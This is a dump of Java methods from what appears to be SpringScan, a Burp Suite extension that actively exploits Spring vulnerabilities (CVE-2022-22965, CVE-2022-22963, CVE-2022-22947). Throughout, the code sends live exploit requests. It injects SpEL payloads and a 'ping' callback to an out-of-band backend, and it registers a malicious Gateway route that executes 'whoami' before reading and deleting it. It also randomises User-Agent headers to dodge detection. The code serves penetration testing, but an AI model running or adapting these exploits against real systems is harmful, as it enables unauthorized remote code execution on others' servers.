int ranNum = Utils.getRandom(0, 10); // [0, 9]随机数字
key = Utils.urlEncode(String.format(poc22[0], ranNum));
value = String.format(poc22[1], ranNum);
newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机header
newParam = this.helpers.buildParameter(key, value, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
newParamReq = this.helpers.addParameter(newHeaderRequest, newParam);
requestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamReq);
response1 = this.helpers.analyzeResponse(requestResponse1.getResponse());
// 第一次请求为报错状态码
if (Utils.isErrorStatusCode(response1.getStatusCode())) {
// 与正常请求比较,防止扫到原本就报错的站
if (!Utils.isErrorStatusCode(this.burpExtender.helpers.analyzeResponse(httpRequestResponse.getResponse()).getStatusCode())) {
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22965",
0,
"Medium",
"UnCertain",
null,
null,
"Spring Core RCE (ErrorDetect)" + "\n\n" + newParam.getName() + "=" + newParam.getValue(),
null,
new IHttpRequestResponse[]{requestResponse1},
requestResponse1.getHttpService()
);
}
}
return null;
} |
使用POC1/POC2进行回显检测漏洞
@param httpRequestResponse
@param reverseMethod 是否变换请求
@return SpringCoreIssue
| Scanner::errorScan | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private IScanIssue reverseScan(IHttpRequestResponse httpRequestResponse, boolean reverseMethod) {
byte[] newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机Agent-User头
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
String method = requestInfo.getMethod();
this.initBackend();
String payload = Utils.randomStr(5) + "." + this.backend.generatePayload();
// poc3
IPoc poc3 = this.pocs[2];
String[] poc33 = poc3.genPoc().split("&");
String key1 = Utils.urlEncode(poc33[0].split("=")[0]);
String value1 = Utils.urlEncode(String.format(poc33[0].split("=")[1], payload, Utils.randomStr(4)));
String key2 = Utils.urlEncode(String.format(poc33[1].split("=")[0], Utils.randomStr(2)));
String value2 = String.format(poc33[1].split("=")[1], Utils.randomStr(2));
// 构造参数
IParameter param1 = this.helpers.buildParameter(key1, value1, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
IParameter param2 = this.helpers.buildParameter(key2, value2, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
byte[] newParamsReq = this.helpers.addParameter(newHeaderRequest, param1);
newParamsReq = this.helpers.addParameter(newParamsReq, param2);
if (reverseMethod) newParamsReq = this.helpers.toggleRequestMethod(newParamsReq);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamsReq);
// 请求是否被ban
if (this.helpers.analyzeResponse(requestResponse.getResponse()).getStatusCode() == 0) return null;
this.burpExtender.stdout.println("[*] Reverse Checking Spring Core RCE for: " + requestInfo.getUrl().toString() + " ...");
// 20s内查看是否回连
try {
for (int i = 0; i < 2; i++) {
// this.burpExtender.stdout.println("[-] No." + i + " Checking " + requestInfo.getUrl().toString());
if (this.backend.checkResult(payload)) {
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22965",
0,
"High",
"Certain",
null,
null,
"Spring Core RCE" + "\n\n" + key1 + "=" + value1 + "&" + key2 + "=" + value2,
null,
new IHttpRequestResponse[]{requestResponse},
requestResponse.getHttpService()
);
}
Thread.sleep(10 * 1000); // sleep 10s
}
} catch (Exception e) {
this.burpExtender.stderr.println(e.getMessage());
throw new CustomException("[-] BackendPlat is failed");
}
return null;
} |
使用POC3进行回连检测漏洞
@param httpRequestResponse
@return SpringCoreIssue
| Scanner::reverseScan | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private IScanIssue CloudFunctionSpelRCE(IHttpRequestResponse httpRequestResponse) {
// 加入是否是spring指纹的判断
if (!this.isSpringFinger(httpRequestResponse, false) && !this.isSpringFinger(httpRequestResponse, true)) return null;
boolean is500 = false; // 是否打到500响应
byte[] newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机Agent-User头
IHttpService httpService = httpRequestResponse.getHttpService();
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
this.initBackend();
String payload = Utils.randomStr(5) + "." + this.backend.generatePayload();
// poc4/5
IPoc poc4 = this.pocs[3];
IPoc poc5 = this.pocs[4];
String[] poc44 = poc4.genPoc().split(":");
// poc4 => key:value
// poc5 => key:value2
String key = poc44[0];
String value = String.format(poc44[1], payload);
String value2 = String.format(poc5.genPoc().split(":")[1], "ping " + payload);
// headers加入poc
byte[] poc4Request = this.CloudFunctionSpelPOC(httpRequestResponse, key, value);
byte[] poc5Request = this.CloudFunctionSpelPOC(httpRequestResponse, key, value2);
try {
// 打当前uri
IHttpRequestResponse httpRequestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpService, poc4Request);
IHttpRequestResponse httpRequestResponse2 = this.burpExtender.callbacks.makeHttpRequest(httpService, poc5Request);
// 打到500就检测回连
is500 = this.helpers.analyzeResponse(httpRequestResponse1.getResponse()).getStatusCode() == 500 || this.helpers.analyzeResponse(httpRequestResponse2.getResponse()).getStatusCode() == 500;
requestInfo = this.helpers.analyzeRequest(httpRequestResponse2); // record 数据包
// 打当前uri+/functionRouter
byte[] frRequest = this.helpers.buildHttpRequest(new URL(httpService.getProtocol(), httpService.getHost(), httpService.getPort(), Utils.getUri(requestInfo.getUrl().toString()) + "functionRouter"));
IHttpRequestResponse frRequestResponse = this.burpExtender.callbacks.makeHttpRequest(httpService, frRequest);
// 是否存在默认路由
if (this.helpers.analyzeResponse(frRequestResponse.getResponse()).getStatusCode() != 404) {
poc4Request = this.CloudFunctionSpelPOC(frRequestResponse, key, value);
poc5Request = this.CloudFunctionSpelPOC(frRequestResponse, key, value2);
httpRequestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), poc4Request);
httpRequestResponse2 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), poc5Request);
requestInfo = this.helpers.analyzeRequest(httpRequestResponse2); // record 数据包
// 打到500就检测回连
is500 = this.helpers.analyzeResponse(httpRequestResponse1.getResponse()).getStatusCode() == 500 || this.helpers.analyzeResponse(httpRequestResponse2.getResponse()).getStatusCode() == 500;
}
// 打完check poc再检测是否回连
if (is500) {
this.burpExtender.stdout.println("[*] Reverse Checking Spring Cloud Function SpEL RCE for: " + requestInfo.getUrl().toString() + " ...");
// 20s内查看是否回连
for (int i = 0; i < 2; i++) {
// this.burpExtender.stdout.println("[-] No." + i + " Checking Spring Cloud Function SpEL RCE for: " + requestInfo.getUrl().toString());
if (this.backend.checkResult(payload)) {
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22963",
0,
"High",
"Certain",
null,
null,
"Spring Cloud Function SpEL RCE" + "\n\n" + "(Maybe) URI: /functionRouter\n" + "Headers: " + key + ":" + value + "\nor\n" + key + ":" + value2,
null,
new IHttpRequestResponse[]{httpRequestResponse2},
httpRequestResponse2.getHttpService()
);
}
Thread.sleep(10 * 1000); // sleep 10s
}
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22963 [no reverse]",
0,
"High",
"High",
null,
null,
"Spring Cloud Function SpEL RCE" + "\n\n" + "(Maybe) URI: /functionRouter\n" + "Headers: " + key + ":" + value + "\nor\n" + key + ":" + value2,
null,
new IHttpRequestResponse[]{httpRequestResponse2},
httpRequestResponse2.getHttpService()
);
}
} catch (Exception e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
throw new CustomException("[-] BackendPlat is failed");
}
return null;
} |
Spring Cloud Function SpEL RCE (CVE-2022-22963)
@param httpRequestResponse
@return IScanIssue
| Scanner::CloudFunctionSpelRCE | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private byte[] CloudFunctionSpelPOC(IHttpRequestResponse httpRequestResponse, String key, String value) {
try {
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
byte[] rawRequest = httpRequestResponse.getRequest();
List<String> headers = requestInfo.getHeaders();
headers.add(key + ":" + value);
headers.set(0, headers.get(0).replace("GET", "POST"));
headers.removeIf(header -> header != null && header.toLowerCase().startsWith("content-type:"));
headers.add("Content-type: application/x-www-form-urlencoded");
rawRequest = new String(rawRequest).substring(requestInfo.getBodyOffset()).getBytes();
IParameter param = this.helpers.buildParameter(Utils.randomStr(6), "1", IParameter.PARAM_BODY);
return this.helpers.addParameter(this.helpers.buildHttpMessage(headers, rawRequest), param);
} catch (Exception e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
return null;
}
} |
生成CloudFunctionSpel POC
1. 将key:value作为poc插入到headers中
2. 改GET为POST请求
3. POST内容随机
@param httpRequestResponse
@param key
@param value
@return pocRequest
| Scanner::CloudFunctionSpelPOC | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private IScanIssue CloudGatewayScan(IHttpRequestResponse httpRequestResponse) {
boolean isProdApi = false;
// 这里判断是否有spring 404的特征: Whitelabel Error Page
if (!this.isSpringFinger(httpRequestResponse, false) && !this.isSpringFinger(httpRequestResponse, true)) {
// 无spring 404特征的情况下判断是否有routes
if (this.isSpringGatewayFinger(httpRequestResponse, true)) {
isProdApi = true;
} else if (!this.isSpringGatewayFinger(httpRequestResponse, false)){
return null;
}
}
URL url = this.helpers.analyzeRequest(httpRequestResponse).getUrl();
String uri = Utils.getUri(url.toString()) + (isProdApi ? "prod-api/" : "");
String random_uri = Utils.randomStr(5);
if (this.CloudGatewayRegisterRoute(httpRequestResponse, uri, random_uri, "whoami")) {
if (this.CloudGatewayRefresh(httpRequestResponse, uri)) {
IHttpRequestResponse requestResponse = this.CloudGatewayRoute(httpRequestResponse, uri, random_uri, false);
if (requestResponse != null) {
// 删除路由
this.CloudGatewayRoute(httpRequestResponse, uri, random_uri, true);
this.CloudGatewayRefresh(httpRequestResponse, uri);
}
return new SpringIssue(
url,
"CVE-2022-22947",
0,
"High",
"Certain",
null,
null,
"Spring Cloud GateWay SPEL RCE",
null,
new IHttpRequestResponse[]{requestResponse},
requestResponse.getHttpService()
);
}
}
return null;
} |
Spring Cloud GateWay SPEL RCE (CVE-2022-22947)
一共发五个请求:
包含恶意SpEL表达式的路由 -> 刷新路由 -> 访问添加的路由查看结果 -> 删除路由 -> 刷新路由
TODO: 循环解析URI 判断每一层目录是否具有Spring指纹
@param httpRequestResponse
@return IScanIssue
| Scanner::CloudGatewayScan | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private boolean CloudGatewayRegisterRoute(IHttpRequestResponse httpRequestResponse, String uri, String random_uri, String cmd) {
try {
IHttpService service = httpRequestResponse.getHttpService();
// poc
IPoc poc6 = this.pocs[5];
String poc66 = this.helpers.bytesToString(this.helpers.base64Decode(poc6.genPoc()));
poc66 = String.format(poc66, random_uri, cmd);
byte[] refreshRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), uri +"actuator/gateway/routes/" + random_uri));
// headers
List<String> headers = new ArrayList<String>();
headers.add("POST " + uri + "actuator/gateway/routes/" + random_uri + " HTTP/1.1");
headers.add("Host: " + service.getHost() + ":" + service.getPort());
headers.add("User-Agent: " + RandomHeaders.randomHeader());
headers.add("Accept-Encoding: gzip, deflate");
headers.add("Accept-Language: en");
headers.add("Accept: */*");
headers.add("Content-Type: application/json");
headers.add("Connection: close");
headers.add("Content-Length: " + poc66.length());
byte[] poc66_byte = this.helpers.stringToBytes(poc66);
byte[] newRequest = this.helpers.buildHttpMessage(headers, poc66_byte);
// this.burpExtender.stdout.println(this.helpers.bytesToString(newRequest));
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(service, newRequest);
IResponseInfo responseInfo1 = this.helpers.analyzeResponse(requestResponse.getResponse());
if (responseInfo1.getStatusCode() == 201) return true;
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return false;
} |
注册随机路由并打入POC6
@param httpRequestResponse
@param uri
@return true/false
| Scanner::CloudGatewayRegisterRoute | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private boolean CloudGatewayRefresh(IHttpRequestResponse httpRequestResponse, String uri) {
try {
IHttpService service = httpRequestResponse.getHttpService();
// uri
byte[] refreshRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), uri + "actuator/gateway/refresh"));
// headers
List<String> headers = new ArrayList<String>();
headers.add("POST " + uri + "actuator/gateway/refresh HTTP/1.1");
headers.add("Host: " + service.getHost() + ":" + service.getPort());
headers.add("User-Agent: " + RandomHeaders.randomHeader());
headers.add("Accept-Encoding: gzip, deflate");
headers.add("Accept: */*");
headers.add("Content-Type: application/x-www-form-urlencoded");
headers.add("Connection: close");
// 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取
IRequestInfo requestInfo = this.helpers.analyzeRequest(service, refreshRequest);
refreshRequest = new String(refreshRequest).substring(requestInfo.getBodyOffset()).getBytes();
// 组装请求
byte[] newRequest = this.helpers.buildHttpMessage(headers, refreshRequest);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(service, newRequest);
IResponseInfo responseInfo1 = this.helpers.analyzeResponse(requestResponse.getResponse());
if (responseInfo1.getStatusCode() == 200) return true;
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return false;
} |
刷新路由
/actuator/gateway/refresh
@return
| Scanner::CloudGatewayRefresh | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private IHttpRequestResponse CloudGatewayRoute(IHttpRequestResponse httpRequestResponse, String uri, String random_uri, boolean deleteRoute) {
try {
IHttpService service = httpRequestResponse.getHttpService();
// uri
byte[] refreshRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), uri + "actuator/gateway/routes/" + random_uri));
// headers
List<String> headers = new ArrayList<String>();
headers.add(((deleteRoute) ? "DELETE " : "GET ") + uri + "actuator/gateway/routes/" + random_uri + " HTTP/1.1");
headers.add("Host: " + service.getHost() + ":" + service.getPort());
headers.add("User-Agent: " + RandomHeaders.randomHeader());
headers.add("Accept-Encoding: gzip, deflate");
headers.add("Accept: */*");
headers.add("Content-Type: application/x-www-form-urlencoded");
headers.add("Connection: close");
// 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取
IRequestInfo requestInfo = this.helpers.analyzeRequest(service, refreshRequest);
refreshRequest = new String(refreshRequest).substring(requestInfo.getBodyOffset()).getBytes();
// 组装请求
byte[] newRequest = this.helpers.buildHttpMessage(headers, refreshRequest);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(service, newRequest);
byte[] rawResponse = requestResponse.getResponse();
IResponseInfo responseInfo1 = this.helpers.analyzeResponse(rawResponse);
String strResponse = this.helpers.bytesToString(rawResponse);
if (responseInfo1.getStatusCode() == 200 && strResponse.contains(random_uri) && strResponse.contains("Result")) {
return requestResponse;
};
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return null;
} |
访问注册的路由获取RCE结果
返回结果响应输出到UI
@param httpRequestResponse
@param uri
@param random_uri
@param deleteRoute 是否删除路由
@return
| Scanner::CloudGatewayRoute | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private boolean isSpringFinger(IHttpRequestResponse httpRequestResponse, boolean isVersion2x) {
try {
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
IHttpService service = httpRequestResponse.getHttpService();
String url = requestInfo.getUrl().toString();
if (isVersion2x) { // springboot 2.x
url = Utils.getUri(url) + "actuator/" + Utils.randomStr(5);
}
byte[] newRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), url));
requestInfo = this.helpers.analyzeRequest(service, newRequest); // 重新打包好新的uri请求
// header中Accpet: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
List<String> headers = requestInfo.getHeaders();
for (String header: headers) {
if (header.startsWith("Accept")) { // 坑点: 带冒号匹配会报错
headers.remove(header);
headers.add("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
break;
}
}
// 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取
IRequestInfo requestInfo1 = this.helpers.analyzeRequest(service, newRequest);
newRequest = new String(newRequest).substring(requestInfo1.getBodyOffset()).getBytes();
// 组装请求
newRequest = this.helpers.buildHttpMessage(headers, newRequest);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newRequest);
String body = new String(requestResponse.getResponse()).substring(this.helpers.analyzeResponse(requestResponse.getResponse()).getBodyOffset()).toLowerCase();
if (body.contains("whitelabel error page")) {
this.burpExtender.stdout.println("[*] Detect Spring Finger: " + url);
return true;
}
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return false;
} |
SpringBoot 1.x
随机访问一个uri路z径, 判断响应内容是否有spring特征 (Whitelabel Error Page)
SpringBoot 2.x
访问/actuator/xxx, 判断响应内容是否有spring特征 (Whitelabel Error Page)
@param httpRequestResponse
@return
| Scanner::isSpringFinger | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private boolean isSpringGatewayFinger(IHttpRequestResponse httpRequestResponse, boolean isProdApi) {
try {
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
IHttpService service = httpRequestResponse.getHttpService();
String url = Utils.getUri(requestInfo.getUrl().toString());
if (isProdApi) {
url = url + "prod-api/actuator/gateway/routes";
} else {
url = url + "actuator/gateway/routes";
}
byte[] newRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), url));
requestInfo = this.helpers.analyzeRequest(service, newRequest); // 重新打包好新的uri请求
// header中Accpet: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
List<String> headers = requestInfo.getHeaders();
for (String header: headers) {
if (header.startsWith("Accept")) { // 坑点: 带冒号匹配会报错
headers.remove(header);
headers.add("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
break;
}
}
// 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取
IRequestInfo requestInfo1 = this.helpers.analyzeRequest(service, newRequest);
newRequest = new String(newRequest).substring(requestInfo1.getBodyOffset()).getBytes();
// 组装请求
newRequest = this.helpers.buildHttpMessage(headers, newRequest);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newRequest);
String body = new String(requestResponse.getResponse()).substring(this.helpers.analyzeResponse(requestResponse.getResponse()).getBodyOffset()).toLowerCase();
if (body.contains("route_id")) {
this.burpExtender.stdout.println("[*] Detect SpringGateway Finger: " + url);
return true;
}
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return false;
} |
SpringGateway
访问/actuator/gateway/routes、/prod-api/actuator/gateway/routes
判断响应内容是否有SpringGateway特征: route_id
@param httpRequestResponse
@return
| Scanner::isSpringGatewayFinger | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private byte[] randomHeader(IHttpRequestResponse httpRequestResponse) {
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
byte[] rawRequest = httpRequestResponse.getRequest();
List<String> headers = requestInfo.getHeaders();
// 先删除User-Agent,再添加随机的User-Agent
for (String header: headers) {
// this.burpExtender.stdout.println("header " + header);
if (header.startsWith("User-Agent")) { // 坑点: 带冒号匹配会报错
headers.remove(header);
headers.add("User-Agent: " + RandomHeaders.randomHeader());
break;
}
}
// 获取body
byte[] bodyRequest = new String(rawRequest).substring(requestInfo.getBodyOffset()).getBytes();
// 拼接header和body
return this.helpers.buildHttpMessage(headers, bodyRequest);
} |
随机Agent头
先将原来的Agent删掉,再添加随机Agent
@param httpRequestResponse
@return
| Scanner::randomHeader | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.